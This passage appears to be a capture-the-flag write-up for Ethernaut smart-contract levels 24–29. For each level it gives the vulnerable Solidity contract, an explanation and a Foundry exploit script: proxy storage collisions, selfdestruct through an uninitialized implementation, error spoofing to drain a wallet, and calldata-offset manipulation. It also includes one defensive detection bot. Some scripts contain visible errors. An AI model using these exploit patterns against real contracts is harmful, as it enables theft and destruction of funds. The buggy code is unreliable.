require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
>> Goal :
- A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.
- They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system.
- The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.
- You'll need to hijack this wallet to become the admin of the proxy.
>> Solution :
- The proxy contract usually does not have much code inside of it and have a fallback function that will "forward" all the user's interaction to the Implementation contract that contains the real implementation of the function. This "forwarding" operation is done via delegatecall.
- When ContractA calls ContractB's function implementation() via delegatecall the function is executed on ContractB code but the whole context (msg.sender, msg.value and contract's storage) is the one from ContractA.
- A critical concept to remember is that if ContractB code update the contract's storage during a delegatecall it will not modify ContractB storage but ContractA storage!
- In order to execute any transaction we have to become a whitelist member.
- We can observe that the PuzzleProxy and PuzzleWallet not have same storage layout.
- Using this we can register our address as pending admin by calling proposeNewAdmin().
- When PuzzleWallet functions are executed via delegatecall from PuzzleProxy the pendingAdmin is now the owner!
- On Slot 1 of the PuzzleWallet contract, there is the maxBalance variable. We just need to update that value by casting the Player address to an integer via uint256(player).
- The only function that modify that variable is setMaxBalance() that can be called only by a whitelisted user and when the balance of the contract is 0.
- We are now the owner of the contract, so we can add ourselves to the whitelisted list by calling addToWhitelist()
- If you look at the setMaxBalance(), the transaction will revert if there are any balances inside the contract and the contract was funded with 0.001 ether at deployment side by the deployer.
- To finish the challenge and become the admin of the Proxy, we must drain the contract by calling execute and making it use that 0.001 ether balance.
- We can’t rely on deposit because even if we deposit something and then call execute we couldn't use more than what we have deposited
- Multicall allows the user to batch together multiple calls to spare some gas and as you can see has a check to allow only one deposit inside the batched calls.
- We cant call deposit() twice in a single call by passing calldata as [signature of deposit + signature of deposit]. As there is a check to catch this case.
- But we can send the singature of the deposit() and a call to multicall() again with the deposit() signature.
- After the execute we have successfully removed all the ether balance from the contract (and gained 0.001 free ether) and we can call puzzleWallet.setMaxBalance( uint256(player));
PuzzleWalletSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {PuzzleWallet, PuzzleProxy} from "../src/PuzzleWallet.sol";
contract PuzzleWalletSolve is Script {
PuzzleWallet public wallet = PuzzleWallet(0x94A2389802b644E387eF2aEE4090491B3484D08C);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Initial wallet owner :", wallet.owner());
new Attack(wallet);
console.log("After wallet owner :", wallet.owner());
vm.stopBroadcast();
}
}
contract Attack {
constructor(PuzzleWallet wallet) payable {
// overwrite wallet owner
wallet.proposeNewAdmin(address(this));
wallet.addToWhitelist(address(this));
bytes[] memory deposit_data = new bytes[](1);
deposit_data[0] = abi.encodeWithSelector(wallet.deposit.selector);
bytes[] memory data = new bytes[](2);
// deposit
data[0] = deposit_data[0];
// multicall -> deposit
data[1] = abi.encodeWithSelector(wallet.multicall.selector, deposit_data);
wallet.multicall{value: 0.001 ether}(data);
// withdraw
wallet.execute(msg.sender, 0.002 ether, "");
// set admin
wallet.setMaxBalance(uint256(uint160(msg.sender)));
require(wallet.admin() == msg.sender, "Attack failed");
selfdestruct(payable(msg.sender));
}
}
>> Run script :
$ forge script script/PuzzleWalletSolve.s.sol:PuzzleWalletSolve --rpc-url $RPC_URL --broadcast
25-Motorbike
Motorbike.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT =0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
>> Goal :
- Would you be able to selfdestruct its engine and make the motorbike unusable ?
>> Solution :
- Create the new implementation contract with self destruct functionality.
- Call the initialize() function on the implementation contract directly.
- By calling intialize() we will become the updrader of the Engine contract.
- Now, we can update the implementation addres by calling upgradeToAndCall() function and pass the data as the signature of the kill() function to be called by the Engine contract.
- This will destruct the Engine contract, because the call was done using delegatecall so the storage of the Engine will be affected.
MotorbikeSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Motorbike, Engine} from "../src/Motorbike.sol";
contract MotorbikeSolve is Script {
Engine public engine = Engine(0xa67972265516E4BFEA3d4f9c70749768be2d29F8);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
new Attack().attack(engine);
vm.stopBroadcast();
}
}
contract Attack {
function attack(Engine target) external {
target.initialize();
target.upgradeToAndCall(address(this), abi.encodeWithSelector(this.kill.selector));
}
function kill() external {
selfdestruct(payable(address(this)));
}
}
>> Run script :
$ forge script script/MotorbikeSolve.s.sol:MotorbikeSolve --rpc-url $RPC_URL --broadcast
26-DoubleEntryPoint
DoubleEntryPoint.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;
function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}
function notify(address user, bytes calldata msgData) external override {
if (address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}
function raiseAlert(address user) external override {
if (address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}
contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;
constructor(address recipient) {
sweptTokensRecipient = recipient;
}
function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}
/*
...
*/
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}
contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}
contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;
constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}
modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}
modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));
// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);
// Notify Forta
forta.notify(player, msg.data);
// Continue execution
_;
// Check if alarms have been raised
if (forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}
function delegateTransfer(address to, uint256 value, address origSender)
public
override
onlyDelegateFrom
fortaNotify
returns (bool)
{
_transfer(origSender, to, value);
return true;
}
}
>> Goal :
- This level features a CryptoVault with special functionality, the sweepToken function. This is a common function used to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can't be swept, as it is an important core logic component of the CryptoVault. Any other tokens can be swept.
- The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.
- In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.
- The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible.
- Your job is to implement a detection bot and register it in the Forta contract. The bot's implementation will need to raise correct alerts to prevent potential attacks or bug exploits.
>> Solution :
- CryptoVault is constructed with a recipient address argument.
- A setUnderlying function sets a token address as the underlying token. This is a one time operation, as per the require line in it checking for the initial value of underlying.
- A sweepToken() function takes a token address as parameter, and transfers the balance of CryptoVault to the recipient. Sweeping here is to transfer the entire balance of CryptoVault about any token other than the underlying token to the recipient. This is commonly done so that the user can get mistakenly sent tokens.
- Now, we will prevent this attack with a Forta detection bot. We must look at the Forta contract for this.
- In particular, our bot must follow the IDetectionBot interface, which requests the implementation of a function handleTransaction(address user, bytes calldata msgData) external. Indeed, this function is called within the notify() function of Forta contract. To raise an alert, the bot must call raiseAlert() function of it's caller (accessed via msg.sender) which will be the Forta contract.
- The attack was made by calling the sweepToken() function of CryptoVault contract with LegacyToken contract as the address. Then, a message call to DoubleEntryPoint contract is made for the delegateTransfer() function. That message's data is the one our bot will receive on handleTransaction(), because delegateTransfer is the one with fortaNotify modifier. Regarding that function, the only thing we can use for our need is the origSender, which will be the address of CryptoVault during a sweep. So, our bot can check that value within the calldata and raise an alert if it is the address of CryptoVault.
- At this point, we need to put special effort into understanding how the calldata will be structured. We are calling delegateTransfer but that is not the calldata our bot will receive. You see, this function has a modifier fortaNotify. The modifier is not a message call, but simply replaces code with respect to the execution line (_;). During notify, the msg.data is passed as a parameter.
- After notify, our detection bot's handleTransaction() is called with the same msg.data passed to notify. So, during handleTransaction, the calldata will have the actual calldata to call that function, and the delegateCall calldata as an argument.
- The * marks the original calldata when delegateTransfer() is called.
-
Looking at the calldata of delegateTransfer, we have:
- 4 bytes function selector
- 32 bytes address
- 32 bytes unsigned integer
- 32 bytes address
- A total of 100 bytes, which is 0x64 in hex. So, in the calldata of handleTransaction the length value for msgData will be 0x64.
- We need to extract origSender from the msg.data inside handleTransaction() function implemented in our bot contract.
- The origSender is from the 0xA8 byte of the msg.data inside handleTransaction() function.
- We can use calldataload opcode to access the origSender. And if the origSender is equals to CryptoVault then raise an alert.
- Now our bot is ready, we have to deploy it and register the bot at Forta contract.
position bytes type value
0x00 4 bytes4 Function selector of handleTransaction which is 0x220ab6aa
0x04 32 address user parameter
0x24 32 uint256 offset of msgData parameter, 0x40 in this case
0x44 32 uint256 length of msgData parameter, 0x64 in this case
0x64 * 4 bytes4 Function selector of delegateTransfer which is 0x9cd1a121
0x68 * 32 address to parameter
0x88 * 32 uint256 value parameter
0xA8 * 32 address origSender parameter the one we want
0xC8 28 padding zero-padding as per the 32-byte arguments rule of bytes
DoubleEntryPointSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {DoubleEntryPoint} from "../src/DoubleEntryPoint.sol";
contract DoubleEntryPointSolve is Script {
DoubleEntryPoint public det = DoubleEntryPoint(0x91a71dbbEDC98B0B70e34A3CCf3D472DC8448DE3);
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address cryptovault = det.cryptoVault();
address player = det.player();
address delegatedFrom = det.delegatedFrom(); // Legacy Token Address
console.log("CryptoVault : ", cryptovault);
console.log("Player : ", player);
console.log("LGT : ", delegatedFrom);
LegacyToken lgt = LegacyToken(delegatedFrom);
CryptoVault cv = CryptoVault(cryptovault);
console.log("CryptoVault balance of DET : ", det.balanceOf(cryptovault));
console.log("CryptoVault balance of LGT : ", lgt.balanceOf(cryptovault));
console.log("Delegate of LGT : ", address(lgt.delegate()));
console.log("DET : ", address(det));
console.log("Both are same");
Forta forta = det.forta();
console.log("registering bot.........");
DetectionBot bot = new DetectionBot();
forta.setDetectionBot(address(bot));
console.log("BOT ALERTS Before exploit : ",forta.botRaisedAlerts(address(bot)));
console.log("Exploiting DET...........");
// new Attack().exploit(); // reverts because bot detects the exploit
console.log("CryptoVault balance of DET : ", det.balanceOf(cryptovault));
console.log("BOT ALERTS After exploit : ",forta.botRaisedAlerts(address(bot)));
vm.stopBroadcast();
}
}
contract Attack{
DoubleEntryPoint public det = DoubleEntryPoint(0x91a71dbbEDC98B0B70e34A3CCf3D472DC8448DE3);
address public cryptovault = det.cryptoVault();
address public player = det.player();
address public delegatedFrom = det.delegatedFrom(); // Legacy Token Address
function exploit() public{
CryptoVault cv = CryptoVault(cryptovault);
cv.sweepToken(IERC20(delegatedFrom));
}
}
contract DetectionBot{
DoubleEntryPoint public det = DoubleEntryPoint(0x91a71dbbEDC98B0B70e34A3CCf3D472DC8448DE3);
address public cryptovault = det.cryptoVault();
function handleTransaction(address user, bytes calldata msgData) external {
address origSender;
assembly {
origSender := calldataload(0xa8)
}
if (origSender ==cryptovault ){
Forta(msg.sender).raiseAlert(user); // raise alert of Forta contract
}
}
}
>> Run script :
$ forge script script/DoubleEntryPointSolve.s.sol:DoubleEntryPointSolve --rpc-url $RPC_URL --broadcast
27-GoodSamaritan
GoodSamaritan.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
>> Goal :
- This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.
- Would you be able to drain all the balance from his Wallet?
>> Solution :
- Contract has tons of coins and is willing to donate them, only 10 at a time though. To deplete all 1 million coins of the contract it takes more transactions and gas, we would have to take more than 10 at a time.
- Under requestDonation() function at the comment that says: send the coins left. Looking at this function, it is a try-catch clause that handles an exception thrown during wallet.donate10(msg.sender). Specifically, if the exception is due to error NotEnoughBalance(); then it will send all the remaining coins.
- Under coin.transfer(), if the transfer happens and it is to a contract account, then notify(uint256 amount) function is called there to basically let that contract know about this transfer.
- we are supposed to throw NotEnoughBalance(); during the transfer, and we may very well do that within our notify handler. There is a catch though: if you simply do that it will also revert the transferRemainder call too. So we can just check if the amount is 10, and revert in that case only.
GoodSamaritanSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {GoodSamaritan, Coin} from "../src/GoodSamaritan.sol";
contract GoodSamaritanSolve is Script {
GoodSamaritan public goodSamaritan = GoodSamaritan(0xc221a88095591Bd0239B40348a530D286e919b06);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Before balance of Wallet", goodSamaritan.coin().balances(address(goodSamaritan.wallet())));
new Attack(goodSamaritan).attack(engine);
console.log("After balance of Wallet", goodSamaritan.coin().balances(address(goodSamaritan.wallet())));
vm.stopBroadcast();
}
}
contract Attack {
GoodSamaritan private immutable target;
Coin private immutable coin;
error NotEnoughBalance();
constructor(GoodSamaritan _target) {
target = _target;
coin = Coin(_target.coin());
}
function attack() external {
target.requestDonation();
require(coin.balances(address(this)) == 10 ** 6, "hack failed");
}
function notify(uint256 amount) external {
if (amount == 10) {
revert NotEnoughBalance();
}
}
}
>> Run script :
$ forge script script/GoodSamaritanSolve.s.sol:GoodSamaritanSolve --rpc-url $RPC_URL --broadcast
28-GatekeeperThree
GatekeeperThree.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive() external payable {}
}
>> Goal :
- Cope with gates and become an entrant.
>> Solution :
- Similar to GatekeeperOne and GatekeeperTwo we need to pass the three gate checks by the modifiers when calling the enter() function.
- gateOne() can be bypassed if we are the owner of the contract and we need call from a contract.
- To be be the owner we can call the construct0r() function its not the actual constructor(), so we can be the owner after calling it.
- gateTwo() will be passed if we managed to change the allowEntrance value to true. To do it, we need to call the getAllowance() function with the right password defined inside SimpleTrick contract.
- So, we need to deploy a SimpleTrick contract first, we can do this by calling createTrick() function.
- After that we need to find the password stored inside SimpleTrick contract. We can do this by using vm.load cheatcode or we can find the password inside our Attack contract.
- Because the password is the block.timestamp which will be same during a transaction. If we deploy the SimpeToken and get the block.timestamp inside same call, the block.timestamp will be the password for us.
- Calling getAllowance() with this value will pass the gateTwo.
- For gateThree() the balance of the GatekeeperThree should be greater than 0.001 ether and when the GatekeeperThree sends 0.001 ether to owner it should return false.
- Remember owner is out attack contract, GatekeeperThree sending ether using send call. send call will return false when the transaction fails.
- So, we have to deny the ether sent by the GatekeeperThree. To do this, I haven’t implemented any fallback or receive function inside my Attack contract.
- For this reason the send will return false to GatekeeperThree contract and now we will able to register as entrant.
GatekeeperThreeSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {GatekeeperThree} from "../src/GatekeeperThree.sol";
contract GoodSamaritanSolve is Script {
GatekeeperThree public gate = GatekeeperThree(0x44fdd3c58983278570DdE58eea4BB3427EC86DC1);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Gate Owner : ", gate.owner());
Attack attack = new Attack{value: 0.002 ether}();
attack.exploit(gate);
console.log("Allow Entrance : ", gate.allowEntrance());
console.log("Gate Owner : ", gate.owner());
console.log("Entrant : ", gate.entrant());
vm.stopBroadcast();
}
}
contract Attack {
constructor() payable{}
function exploit(GatekeeperThree gate) public {
gate.construct0r();
gate.createTrick();
gate.getAllowance(block.timestamp);
(bool success, ) = payable(address(gate)).call{value : address(this).balance}("");
require(success, "Tx Failed");
gate.enter();
}
}
>> Run script :
$ forge script script/GatekeeperThreeSolve.s.sol:GatekeeperThreeSolve --rpc-url $RPC_URL --broadcast
29-Switch
Switch.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
_;
}
function flipSwitch(bytes memory _data) public onlyOff {
(bool success,) = address(this).call(_data);
require(success, "call failed");
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
}
>> Goal :
- Just have to flip the switch. Can't be that hard, right?
>> Solution :
- To update switch variable we have three functions named turnSwitchOn(), turnSwitchOff() and flipSwitch().
- By using this flipSwitch() only we have to call the turnSwitchOn() function. For this we need to pass the calldata for the function call turnSwitchOn().
- The onlyOff modifier uses an inline assembly code block with the calldatacopy command. The calldatacopy command is used to copy input data from calldata to memory.
- The first parameter of the function indicates the memory storage location, the second one is used to set the offset in calldata to copy from and the final parameter defines the size of the data to copy. In our case this is: selector, 68, 4
- The modifier checks if the value copied to the first index of the selector array is equal to the function selector of the turnSwitchOff() function.
-
In order to hack the contract we will use the call method and send calldata that has
three different function selectors:
function flipSwitch(bytes memory _data) — 0x30c13ade turnSwitchOff() — 0x20606e15 turnSwitchOn() — 0x76227e12
- After we have our function selector values we can setup the calldata, from inspecting our contract, we can see that the onlyOff() modifier requires that our calldata has the value 0x20606e15 at an offset of 64 bytes.
- The main part here that we had to figure out is that we can manually choose an offset value for the beginning of our “real” calldata, and input anything we want in between. That means that we can put the actual _data parameter value that is being used at an offset of 96 (4 bytes for function selector + 92 bytes for signature data) bytes (storing the length of the bytes and then the actual value), and still have the value 0x20606e15 at an offset of 64 bytes.
- Now this calldata will bypasses the check of onlyOff and we modified the offset to point it to the turnSwitchOn() signature.
- This should successfully change the switchOn variable to true.
0x30c13ade => flipSwitch() function selector
0x00 : 0000000000000000000000000000000000000000000000000000000000000060 => offset - the starting position of the actual data
0x20 : 0000000000000000000000000000000000000000000000000000000000000000
0x40 : 0000000000000000000000000000000000000000000000000000000000000004 => length - data length
0x60 : 20606e1500000000000000000000000000000000000000000000000000000000 => trunSwitchOff() function selector
0x80 : 0000000000000000000000000000000000000000000000000000000000000004 => Length of the turnSwitchOff() signature data
0xa0 : 76227e1200000000000000000000000000000000000000000000000000000000 => actual execution of calldata - turnSwitchOn() selector
SwitchSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Switch} from "../src/Switch.sol";
contract SwitchSolve is Script {
Switch public switch = Switch(0xf97EEDfFe70bFa579DbB26FD8Dd469F00ea9071f);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Switch : ", switch.switchOn());
bytes memory data = 0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000420606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000;
console.logBytes(data);
address(switch).call{}(data);
console.log("Switch : ", switch.switchOn());
vm.stopBroadcast();
}
}
>> Run script :
$ forge script script/SwitchSolve.s.sol:SwitchSolve --rpc-url $RPC_URL --broadcast